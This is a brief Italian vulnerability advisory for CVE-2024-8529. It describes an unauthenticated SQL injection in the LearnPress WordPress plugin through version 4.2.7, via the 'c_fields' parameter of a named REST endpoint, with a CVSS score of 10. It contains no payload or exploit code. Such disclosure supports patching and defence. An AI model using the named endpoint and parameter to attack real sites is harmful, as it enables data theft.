CVE-2024-8529

LearnPress – Plugin LMS per WordPress <= 4.2.7 - SQL Injection non autenticata tramite 'c_fields'

Descrizione

Il plugin LearnPress – WordPress LMS Plugin per WordPress è vulnerabile a SQL Injection tramite il parametro 'c_fields' dell'endpoint API REST /wp-json/lp/v1/courses/archive-course in tutte le versioni fino alla 4.2.7 inclusa, a causa di una insufficiente escape del parametro fornito dall'utente e della mancanza di una preparazione adeguata della query SQL esistente. Ciò consente ad attaccanti non autenticati di aggiungere query SQL aggiuntive alle query esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.

Type: plugin
CVSS Score: 10
CVE: CVE-2024-8529
Slug: learnpress
